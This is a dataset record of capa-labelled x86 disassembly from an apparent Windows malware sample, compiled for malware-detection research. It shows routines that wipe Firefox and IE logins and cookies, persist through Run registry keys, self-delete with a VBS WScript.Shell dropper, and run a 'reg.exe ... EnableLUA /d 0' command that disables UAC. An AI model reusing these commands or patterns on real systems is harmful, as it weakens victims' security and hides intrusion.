joyce8/EMBER2024-capa huggingface dataset:
Function at 0x9aa71
Capabilities:
Delete file
Enumerate files on windows

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1d4
lea ecx, [ebp - 0x60]
push esi
call fcn.000920bf
lea ecx, [ebp - 0x48]
call fcn.000920bf
lea ecx, [ebp - 0x18]
call fcn.000920bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x78]
call fcn.00092073
push eax
push 0xf364c
call fcn.000c9e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.000952dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00091fc2
lea ecx, [ebp - 0x30]
call fcn.00091fb8
lea ecx, [ebp - 0x78]
call fcn.00091fb8
lea eax, [ebp - 0x1d0]
push eax
push 0xf360c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0009822a
pop ecx
mov ecx, eax
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x78]
mov esi, eax
call fcn.00091fb8
cmp esi, 0xffffffff
jne 0x9ac25
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_not_found_
call fcn.00092073
call fcn.0009b119
add esp, 0x18
jmp 0x9ac59
test byte [ebp - 0x1d0], 0x10
je 0x9ac25
lea eax, [ebp - 0x1a4]
push 0xf376c
push eax
call fcn.000ca300
pop ecx
pop ecx
test eax, eax
je 0x9ac25
lea eax, [ebp - 0x1a4]
push 0xf3770
push eax
call fcn.000ca300
pop ecx
pop ecx
test eax, eax
je 0x9ac25
lea eax, [ebp - 0x1a4]
push str.logins.json
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x90]
call fcn.0009822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00098209
pop ecx
push eax
lea ecx, [ebp - 0x60]
call fcn.00091fc2
lea ecx, [ebp - 0x30]
call fcn.00091fb8
lea ecx, [ebp - 0x90]
call fcn.00091fb8
lea eax, [ebp - 0x1a4]
push str.key3.db
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x30]
call fcn.0009822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00098209
pop ecx
push eax
lea ecx, [ebp - 0x48]
call fcn.00091fc2
lea ecx, [ebp - 0x90]
call fcn.00091fb8
lea ecx, [ebp - 0x30]
call fcn.00091fb8
lea ecx, [ebp - 0x60]
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x9ac0c
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea ecx, [ebp - 0x48]
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x9ac25
call dword [sym.imp.KERNEL32.dll_GetLastError]
lea eax, [ebp - 0x1d0]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x9ab2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_StoredLogins_Cleared__
call fcn.00092073
call fcn.0009b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea ecx, [ebp - 0x18]
call fcn.00091fb8
lea ecx, [ebp - 0x48]
call fcn.00091fb8
lea ecx, [ebp - 0x60]
call fcn.00091fb8
mov al, 1
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x9ac78
Capabilities:
Delete file
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x1b8
lea ecx, [ebp - 0x30]
push ebx
push esi
call fcn.000920bf
lea ecx, [ebp - 0x18]
call fcn.000920bf
push str.AppDataRoamingMozillaFirefoxProfiles_
lea ecx, [ebp - 0x60]
call fcn.00092073
push eax
push 0xf364c
call fcn.000c9e6a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.000952dd
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.00091fc2
lea ecx, [ebp - 0x48]
call fcn.00091fb8
lea ecx, [ebp - 0x60]
call fcn.00091fb8
lea eax, [ebp - 0x1b8]
push eax
push 0xf360c
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.0009822a
pop ecx
mov ecx, eax
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileA]
lea ecx, [ebp - 0x60]
mov esi, eax
call fcn.00091fb8
cmp esi, 0xffffffff
jne 0x9adc2
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00092073
call fcn.0009b119
add esp, 0x18
jmp 0x9adf6
test byte [ebp - 0x1b8], 0x10
je 0x9adc2
lea eax, [ebp - 0x18c]
push 0xf376c
push eax
call fcn.000ca300
pop ecx
pop ecx
test eax, eax
je 0x9adc2
lea eax, [ebp - 0x18c]
push 0xf3770
push eax
call fcn.000ca300
pop ecx
pop ecx
test eax, eax
je 0x9adc2
lea eax, [ebp - 0x18c]
push 0xf37d4
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.0009822a
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00098209
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.00091fc2
lea ecx, [ebp - 0x48]
call fcn.00091fb8
lea ecx, [ebp - 0x78]
call fcn.00091fb8
lea ecx, [ebp - 0x30]
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_DeleteFileA]
test eax, eax
jne 0x9ae1b
call dword [sym.imp.KERNEL32.dll_GetLastError]
dec eax
sub eax, 1
jne 0x9ae10
lea eax, [ebp - 0x1b8]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_FindNextFileA]
test eax, eax
jne 0x9ad2c
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_Cookies_not_found_
call fcn.00092073
call fcn.0009b119
add esp, 0x18
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
mov bl, 1
lea ecx, [ebp - 0x18]
call fcn.00091fb8
lea ecx, [ebp - 0x30]
call fcn.00091fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret
push esi
call dword [sym.imp.KERNEL32.dll_FindClose]
xor bl, bl
jmp 0x9adf8
sub esp, 0x18
mov ecx, esp
push str._n_Firefox_cookies_found__cleared__
jmp 0x9ad1a
Function at 0x9ae2a
Capabilities:
Check if file exists
Query environment variable

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x150
lea ecx, [ebp - 0x18]
push ebx
push esi
call fcn.000920bf
push ecx
push str.Cookies
push str.SoftwareMicrosoftWindowsCurrentVersionExplorerUser_Shell_Folders
mov edx, 0x80000001
lea ecx, [ebp - 0x30]
xor ebx, ebx
call fcn.000a1f91
add esp, 0xc
lea ecx, [ebp - 0x18]
push eax
call fcn.00091fc2
lea ecx, [ebp - 0x30]
call fcn.00091fb8
mov edx, 0xf3050
lea ecx, [ebp - 0x18]
call fcn.00095ae5
test al, al
je 0x9ae97
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_not_found_
call fcn.00092073
call fcn.0009b119
mov bl, 1
jmp 0x9af3a
push 0x104
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x18]
call fcn.00091f8b
push eax
call dword [sym.imp.KERNEL32.dll_ExpandEnvironmentStringsA]
lea eax, [ebp - 0x150]
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsA]
test eax, eax
je 0x9ae7c
lea eax, [ebp - 0x150]
push eax
lea ecx, [ebp - 0x30]
call fcn.00092073
lea edx, [ebp - 0x30]
lea ecx, [ebp - 0x48]
call fcn.000a9bca
mov ecx, eax
call fcn.00091ee4
mov ecx, eax
call fcn.000aa01b
lea ecx, [ebp - 0x48]
mov esi, eax
call fcn.00091ee9
lea ecx, [ebp - 0x30]
call fcn.00091fb8
test esi, esi
je 0x9af10
sub esp, 0x18
mov ecx, esp
push str._n_IE_cookies_cleared__
jmp 0x9ae86
push ebx
push 0xf3888
mov ecx, 0x102910
call fcn.000960ea
test eax, eax
je 0x9af3d
sub esp, 0x18
mov bl, 1
mov ecx, esp
push str._n_IE_cookies_cleared__
call fcn.00092073
call fcn.0009b119
add esp, 0x18
lea ecx, [ebp - 0x18]
call fcn.00091fb8
pop esi
mov al, bl
pop ebx
mov esp, ebp
pop ebp
ret

Function at 0x9b0a3
Capabilities:
Create thread

Disassembly:
push ebp
mov ebp, esp
push ecx
imul eax, edx, 0xea60
push ebx
push esi
xor esi, esi
mov byte [0xffae9], cl
push edi
mov dword [0xffaf8], eax
test cl, cl
je 0x9b100
mov edi, 0xf38e0
mov dword [ebp - 4], esi
mov ebx, 0x102200
push edi
mov ecx, ebx
call fcn.00091f8b
mov edx, eax
call fcn.000a1eea
pop ecx
test al, al
je 0x9b100
lea eax, [ebp - 4]
mov ecx, ebx
push eax
push edi
call fcn.00091f8b
mov edx, eax
call fcn.000a1f34
pop ecx
pop ecx
cmp dword [ebp - 4], esi
je 0x9b100
xor al, al
jmp 0x9b112
push esi
push esi
push esi
push 0x9af4d
push esi
push esi
call dword [sym.imp.KERNEL32.dll_CreateThread]
mov al, 1
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0x9b28e
Capabilities:
Check if file exists
Enumerate files on windows
Gather firefox profile information

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2e0
push esi
push edi
push str.AppData
mov esi, ecx
call fcn.000c9e5f
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0009415e
push str.MozillaFirefoxProfiles_
lea ecx, [ebp - 0x18]
call fcn.0009808e
lea eax, [ebp - 0x2e0]
push eax
push 0xf3288
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x60]
call fcn.000981c7
pop ecx
mov ecx, eax
call fcn.00091ee4
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstFileW]
lea ecx, [ebp - 0x60]
mov edi, eax
call fcn.00091ee9
cmp edi, 0xffffffff
jne 0x9b302
push 0xf9654
mov ecx, esi
call fcn.0009415e
jmp 0x9b3d8
lea ecx, [ebp - 0x48]
call fcn.000920bf
jmp 0x9b3a7
test byte [ebp - 0x2e0], 0x10
je 0x9b3a7
lea eax, [ebp - 0x2b4]
push 0xf31c8
push eax
call fcn.000c9f5d
pop ecx
pop ecx
test eax, eax
je 0x9b3a7
lea eax, [ebp - 0x2b4]
push 0xf32ac
push eax
call fcn.000c9f5d
pop ecx
pop ecx
test eax, eax
je 0x9b3a7
push str.cookies.sqlite
lea ecx, [ebp - 0x90]
call fcn.0009415e
push eax
lea eax, [ebp - 0x2b4]
push eax
lea edx, [ebp - 0x18]
lea ecx, [ebp - 0x78]
call fcn.000981c7
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00092f85
pop ecx
lea ecx, [ebp - 0x78]
call fcn.00091ee9
lea ecx, [ebp - 0x90]
call fcn.00091ee9
lea ecx, [ebp - 0x30]
call fcn.00091ee4
push eax
call dword [sym.imp.SHLWAPI.dll_PathFileExistsW]
test eax, eax
jne 0x9b3e8
lea ecx, [ebp - 0x30]
call fcn.00091ee9
lea eax, [ebp - 0x2e0]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
test eax, eax
jne 0x9b30f
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
push 0xf9654
mov ecx, esi
call fcn.0009415e
lea ecx, [ebp - 0x48]
call fcn.00091fb8
lea ecx, [ebp - 0x18]
call fcn.00091ee9
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret
push edi
call dword [sym.imp.KERNEL32.dll_FindClose]
lea eax, [ebp - 0x30]
mov ecx, esi
push eax
call fcn.00093242
lea ecx, [ebp - 0x30]
call fcn.00091ee9
jmp 0x9b3d0
Function at 0x9b77f
Capabilities:
Persist via run registry key

Disassembly:
sub esp, 0x24
cmp byte [0xffb03], 1
push ebx
mov bh, byte [0xffb01]
mov bl, byte [0xffb00]
push ebp
push esi
push edi
mov edi, 0xf2e24
mov ebp, 0x1021e8
jne 0x9b7e3
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0009a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00092ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 0x80000001
call fcn.000a2204
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00091ee9
cmp bl, 1
jne 0x9b826
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0009a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00092ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionRun_
mov ecx, 0x80000002
call fcn.000a2204
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00091ee9
cmp bh, 1
jne 0x9b869
push 1
sub esp, 0x18
lea ecx, [esp + 0x34]
mov esi, esp
mov edx, edi
push edi
push ebp
call fcn.0009a8cc
pop ecx
mov edx, eax
mov ecx, esi
call fcn.00092ff4
pop ecx
push dword [esp + 0x58]
mov edx, str.SoftwareMicrosoftWindowsCurrentVersionPoliciesExplorerRun_
mov ecx, 0x80000002
call fcn.000a2204
add esp, 0x20
lea ecx, [esp + 0x18]
call fcn.00091ee9
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x24
ret
Function at 0x9c3b8
Capabilities:
Create process on windows
Terminate process

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x2c8
push esi
push edi
call fcn.000a12b5
mov esi, 0x102248
mov ecx, esi
call fcn.0009245c
push eax
mov ecx, esi
call fcn.00091f8b
push eax
mov esi, 0x208
lea eax, [ebp - 0x2c8]
push esi
push eax
push str.exepath
mov ecx, 0x102200
call fcn.00091f8b
mov edx, eax
call fcn.000a20e8
add esp, 0x14
xor edi, edi
test al, al
jne 0x9c418
push esi
lea eax, [ebp - 0x2c8]
push eax
push edi
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push str..vbs
lea ecx, [ebp - 0x48]
call fcn.000a9959
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.000a9bca
mov edx, eax
lea ecx, [ebp - 0x78]
call fcn.00092ff4
pop ecx
lea ecx, [ebp - 0x30]
call fcn.00091ee9
lea ecx, [ebp - 0x48]
call fcn.00091fb8
lea eax, [ebp - 0x78]
push eax
push 0xf32a8
push 0xf3bd0
call fcn.000c9e5f
pop ecx
push eax
lea ecx, [ebp - 0x30]
call fcn.0009415e
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x60]
call fcn.000942fd
pop ecx
lea ecx, [ebp - 0x48]
call fcn.00091ee9
lea ecx, [ebp - 0x30]
call fcn.00091ee9
lea ecx, [ebp - 0x18]
call fcn.00091f66
push 0xf3c74
push str._____0
lea ecx, [ebp - 0xc0]
call fcn.0009415e
push eax
lea eax, [ebp - 0x2c8]
push eax
push str.CreateObject__WScript.Shell__.Run__cmd__c___
lea ecx, [ebp - 0xa8]
call fcn.0009415e
mov edx, eax
lea ecx, [ebp - 0x90]
call fcn.00092ff4
pop ecx
mov edx, eax
lea ecx, [ebp - 0x30]
call fcn.00092f85
pop ecx
mov edx, eax
lea ecx, [ebp - 0x48]
call fcn.00092ff4
pop ecx
push eax
lea ecx, [ebp - 0x18]
call fcn.0009323d
lea ecx, [ebp - 0x48]
call fcn.00091ee9
lea ecx, [ebp - 0x30]
call fcn.00091ee9
lea ecx, [ebp - 0x90]
call fcn.00091ee9
lea ecx, [ebp - 0xa8]
call fcn.00091ee9
lea ecx, [ebp - 0xc0]
call fcn.00091ee9
push str.CreateObject__Scripting.FileSystemObject__.DeleteFile_Wscript.ScriptFullName_
lea ecx, [ebp - 0x18]
call fcn.0009808e
push edi
lea ecx, [ebp - 0x60]
call fcn.00091ee4
push eax
lea ecx, [ebp - 0x18]
call fcn.0009245c
mov esi, eax
lea ecx, [ebp - 0x18]
add esi, esi
call fcn.00091ee4
mov edx, esi
mov ecx, eax
call fcn.000aa17b
pop ecx
pop ecx
test al, al
je 0x9c583
push edi
mov eax, 0xf9654
lea ecx, [ebp - 0x60]
push eax
push eax
call fcn.00091ee4
push eax
push 0xf30ac
push edi
call dword [sym.imp.SHELL32.dll_ShellExecuteW]
cmp eax, 0x20
jle 0x9c583
push edi
call dword [sym.imp.KERNEL32.dll_ExitProcess]
lea ecx, [ebp - 0x18]
call fcn.00091ee9
lea ecx, [ebp - 0x60]
call fcn.00091ee9
lea ecx, [ebp - 0x78]
call fcn.00091ee9
pop edi
pop esi
mov esp, ebp
pop ebp
ret
Function at 0x9e2e7
Capabilities:
Enumerate processes

Disassembly:
sub esp, 0x388
push ebp
push esi
push edi
mov edi, ecx
call fcn.000920bf
call fcn.000a9f23
push 0
push 2
mov byte [0x101aa8], al
call dword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov esi, eax
test esi, esi
je 0x9e4f5
lea eax, [esp + 0x160]
mov dword [esp + 0x160], 0x22c
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32FirstW]
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x9e4ee
mov ebp, 0xf4158
lea eax, [esp + 0x184]
push eax
lea ecx, [esp + 0x14]
call fcn.0009415e
mov ecx, dword [esp + 0x168]
push 0xf4154
call fcn.000a9f51
movzx edx, al
lea ecx, [esp + 0x14c]
call fcn.000a9b16
mov edx, dword [esp + 0x16c]
lea ecx, [esp + 0x134]
push eax
push ebp
call fcn.000a9b16
mov edx, dword [esp + 0x174]
lea ecx, [esp + 0x124]
push eax
push ebp
call fcn.000a9f87
mov edx, eax
lea ecx, [esp + 0x114]
call fcn.000a9c8a
push eax
push ebp
lea edx, [esp + 0x2c]
lea ecx, [esp + 0x104]
call fcn.000a9c8a
push eax
mov edx, edi
lea ecx, [esp + 0xf0]
call fcn.000981a6
pop ecx
mov edx, eax
lea ecx, [esp + 0xd4]
call fcn.00098209
pop ecx
mov edx, eax
lea ecx, [esp + 0xb8]
call fcn.00092e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x9c]
call fcn.00098209
pop ecx
mov edx, eax
lea ecx, [esp + 0x80]
call fcn.00092e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x64]
call fcn.00098209
pop ecx
mov edx, eax
lea ecx, [esp + 0x48]
call fcn.00092e81
pop ecx
mov edx, eax
lea ecx, [esp + 0x2c]
call fcn.00098209
pop ecx
push eax
mov ecx, edi
call fcn.00091fc2
lea ecx, [esp + 0x28]
call fcn.00091fb8
lea ecx, [esp + 0x40]
call fcn.00091fb8
lea ecx, [esp + 0x58]
call fcn.00091fb8
lea ecx, [esp + 0x70]
call fcn.00091fb8
lea ecx, [esp + 0x88]
call fcn.00091fb8
lea ecx, [esp + 0xa0]
call fcn.00091fb8
lea ecx, [esp + 0xb8]
call fcn.00091fb8
lea ecx, [esp + 0xd0]
call fcn.00091fb8
lea ecx, [esp + 0xe8]
call fcn.00091fb8
lea ecx, [esp + 0x100]
call fcn.00091fb8
lea ecx, [esp + 0x118]
call fcn.00091ee9
lea ecx, [esp + 0x130]
call fcn.00091fb8
lea ecx, [esp + 0x148]
call fcn.00091fb8
lea ecx, [esp + 0x10]
call fcn.00091ee9
lea eax, [esp + 0x160]
push eax
push esi
call dword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x9e34b
push esi
call dword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, edi
pop edi
pop esi
pop ebp
add esp, 0x388
ret
Function at 0x9e501
Capabilities:
Create process on windows
Disable system features via registry on windows
Set registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x58
push esi
push edi
push 0x44
pop esi
push esi
xor edi, edi
lea eax, [ebp - 0x58]
push edi
push eax
call fcn.000c4c30
push 0x10
lea eax, [ebp - 0x10]
mov dword [ebp - 0x58], esi
push edi
push eax
call fcn.000c4c30
add esp, 0x18
lea eax, [ebp - 0x10]
push eax
lea eax, [ebp - 0x58]
push eax
push edi
push edi
push 0x8000000
push edi
push edi
push edi
push str._k__windir_System32_reg.exe_ADD_HKLMSOFTWAREMicrosoftWindowsCurrentVersionPoliciesSystem__v_EnableLUA__t_REG_DWORD__d_0__f
push str.C:WindowsSystem32cmd.exe
call dword [sym.imp.KERNEL32.dll_CreateProcessA]
push dword [ebp - 0x10]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [ebp - 0xc]
call esi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0x9f30b
Capabilities:
Write file on windows

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
sub esp, 0x30
push ebx
push ebp
push esi
push edi
mov edi, ecx
xor ebx, ebx
cmp dword [edi + 0x38], ebx
je 0x9f442
cmp byte [edi + 0x3d], bl
je 0x9f442
call fcn.00092e7d
mov esi, eax
mov ecx, edi
mov eax, dword [edi]
push esi
call dword [eax + 0xc]
mov dword [esp + 0x14], eax
lea eax, [esp + 0x14]
push eax
lea eax, [esp + 0x1c]
mov dword [esp + 0x1c], esi
push eax
call fcn.0009c925
pop ecx
pop ecx
test al, al
je 0x9f361
xor al, al
jmp 0x9f444
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.000951ec
lea ebp, [edi + 0x40]
lea eax, [esp + 0x1c]
push eax
lea eax, [esp + 0x1c]
push eax
lea ecx, [esp + 0x30]
call fcn.0009249c
mov ecx, eax
call fcn.0009337b
lea ecx, [esp + 0x2c]
mov esi, eax
call fcn.0009245c
add esi, eax
lea ecx, [esp + 0x2c]
push esi
lea eax, [esp + 0x1c]
push eax
call fcn.0009249c
mov ecx, eax
call fcn.0009337b
mov ecx, dword [edi + 0x38]
push eax
push ebp
call fcn.0009ccac
sub eax, ebx
je 0x9f3c9
sub eax, 1
je 0x9f3cc
dec eax
sub eax, 1
jne 0x9f435
inc eax
jmp 0x9f433
mov byte [edi + 0x3d], bl
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x2c]
call fcn.0009249c
mov ecx, eax
call fcn.0009337b
mov esi, dword [esp + 0x1c]
sub esi, eax
je 0x9f411
push dword [edi + 0x4c]
lea eax, [esp + 0x28]
push esi
push 1
push eax
lea ecx, [esp + 0x38]
call fcn.0009249c
mov ecx, eax
call fcn.0009337b
push eax
call fcn.000cacc0
add esp, 0x10
cmp esi, eax
jne 0x9f431
cmp byte [edi + 0x3d], bl
je 0x9f42f
test esi, esi
jne 0x9f370
push ebx
push 8
lea ecx, [esp + 0x30]
call fcn.00092a31
jmp 0x9f370
mov bl, 1
mov al, bl
mov bl, al
lea ecx, [esp + 0x28]
call fcn.00091fb8
mov al, bl
jmp 0x9f444
mov al, 1
pop edi
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret
Function at 0xa03b4
Capabilities:
Enumerate pe sections

Disassembly:
sub esp, 0x28
push ebx
mov ebx, ecx
push ebp
push esi
push edi
mov esi, dword [ebx]
mov edx, dword [ebx + 0x3c]
movzx ebp, word [esi + 0x14]
add ebp, esi
mov eax, dword [ebp + 0x20]
mov ecx, eax
mov dword [esp + 0x10], eax
mov dword [esp + 0x24], eax
call fcn.000a01eb
lea edx, [ebp + 0x18]
mov dword [esp + 0x28], eax
mov ecx, ebx
call fcn.000a02f8
mov ebx, dword [ebp + 0x3c]
mov edi, eax
and dword [esp + 0x34], 0
xor eax, eax
inc eax
mov dword [esp + 0x2c], edi
add ebp, 0x40
mov dword [esp + 0x30], ebx
cmp ax, word [esi + 6]
mov esi, ecx
mov dword [esp + 0x20], eax
jae 0xa04c6
mov eax, dword [ebp + 8]
mov ecx, eax
mov edx, dword [esi + 0x3c]
mov dword [esp + 0x1c], eax
call fcn.000a01eb
mov edx, ebp
mov dword [esp + 0x14], eax
mov ecx, esi
call fcn.000a02f8
mov edx, dword [esp + 0x10]
mov ecx, eax
mov eax, dword [esp + 0x14]
mov dword [esp + 0x18], ecx
cmp dword [esp + 0x28], eax
je 0xa047d
lea ecx, [edi + edx]
cmp ecx, eax
ja 0xa0479
lea edx, [esp + 0x24]
mov ecx, esi
call fcn.000a0317
test eax, eax
je 0xa04e3
mov edx, dword [esp + 0x1c]
mov eax, dword [esp + 0x14]
mov edi, dword [esp + 0x18]
mov ebx, dword [ebp + 0x24]
mov dword [esp + 0x10], edx
mov dword [esp + 0x24], edx
mov dword [esp + 0x28], eax
jmp 0xa04a1
mov ecx, dword [esp + 0x18]
mov eax, dword [ebp + 0x24]
mov edi, 0x2000000
test edi, eax
je 0xa0491
test edi, ebx
je 0xa0491
or ebx, eax
jmp 0xa0499
or ebx, eax
and ebx, 0xfdffffff
mov edi, ecx
sub edi, edx
add edi, dword [esp + 0x1c]
mov eax, dword [esi]
add ebp, 0x28
mov ecx, dword [esp + 0x20]
inc ecx
mov dword [esp + 0x30], ebx
mov dword [esp + 0x2c], edi
movzx eax, word [eax + 6]
mov dword [esp + 0x20], ecx
cmp ecx, eax
jl 0xa0410
xor eax, eax
inc eax
lea edx, [esp + 0x24]
mov dword [esp + 0x34], eax
mov ecx, esi
call fcn.000a0317
neg eax
sbb eax, eax
neg eax
pop edi
pop esi
pop ebp
pop ebx
add esp, 0x28
ret
xor eax, eax
jmp 0xa04db
Function at 0xa12b5
Capabilities:
Terminate process

Disassembly:
push ebx
push 0
push dword [0xffd2c]
mov byte [0xffd13], 0
call dword [sym.imp.KERNEL32.dll_TerminateProcess]
push 0xffffffffffffffff
push dword [0xffd2c]
test eax, eax
setne bl
call dword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov al, bl
pop ebx
ret
Function at 0xa1eea
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
push ecx
push esi
lea eax, [ebp - 4]
xor esi, esi
push eax
push 0x20019
push esi
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa1f2d
push esi
push esi
push esi
push esi
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
sete al
jmp 0xa1f2f
xor al, al
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xa1f34
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0xc
push 4
pop eax
mov dword [ebp - 8], eax
mov dword [ebp - 0xc], eax
lea eax, [ebp - 4]
push eax
push 0x20019
push 0
push edx
push 0x80000001
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa1f8b
push esi
lea eax, [ebp - 8]
push eax
push dword [ebp + 0xc]
lea eax, [ebp - 0xc]
push eax
push 0
push dword [ebp + 8]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
test esi, esi
pop esi
sete al
jmp 0xa1f8d
xor al, al
mov esp, ebp
pop ebp
ret

Function at 0xa1f91
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x408
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor esi, esi
mov edi, ecx
push esi
push dword [ebp + 8]
push edx
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0xa1ff2
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x408]
push eax
push esi
push esi
push dword [ebp + 0xc]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
push dword [ebp - 4]
mov esi, eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov ecx, edi
test esi, esi
jne 0xa1ff4
lea eax, [ebp - 0x408]
push eax
jmp 0xa1ff9
mov ecx, edi
push 0xf3050
call fcn.00092073
mov eax, edi
pop edi
pop esi
mov esp, ebp
pop ebp
ret

Function at 0xa2006
Capabilities:
Query or enumerate registry value

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x808
push esi
push edi
lea eax, [ebp - 4]
mov dword [ebp - 8], 0x400
push eax
push 0x20019
xor edi, edi
mov esi, ecx
push edi
push 0xf975c
push 0x80000000
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
jne 0xa2063
lea eax, [ebp - 8]
push eax
lea eax, [ebp - 0x808]
push eax
push edi
push edi
push edi
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
push dword [ebp - 4]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea eax, [ebp - 0x808]
push eax
jmp 0xa2068
push 0xf9654
mov ecx, esi
call fcn.0009415e
pop edi
mov eax, esi
pop esi
mov esp, ebp
pop ebp
ret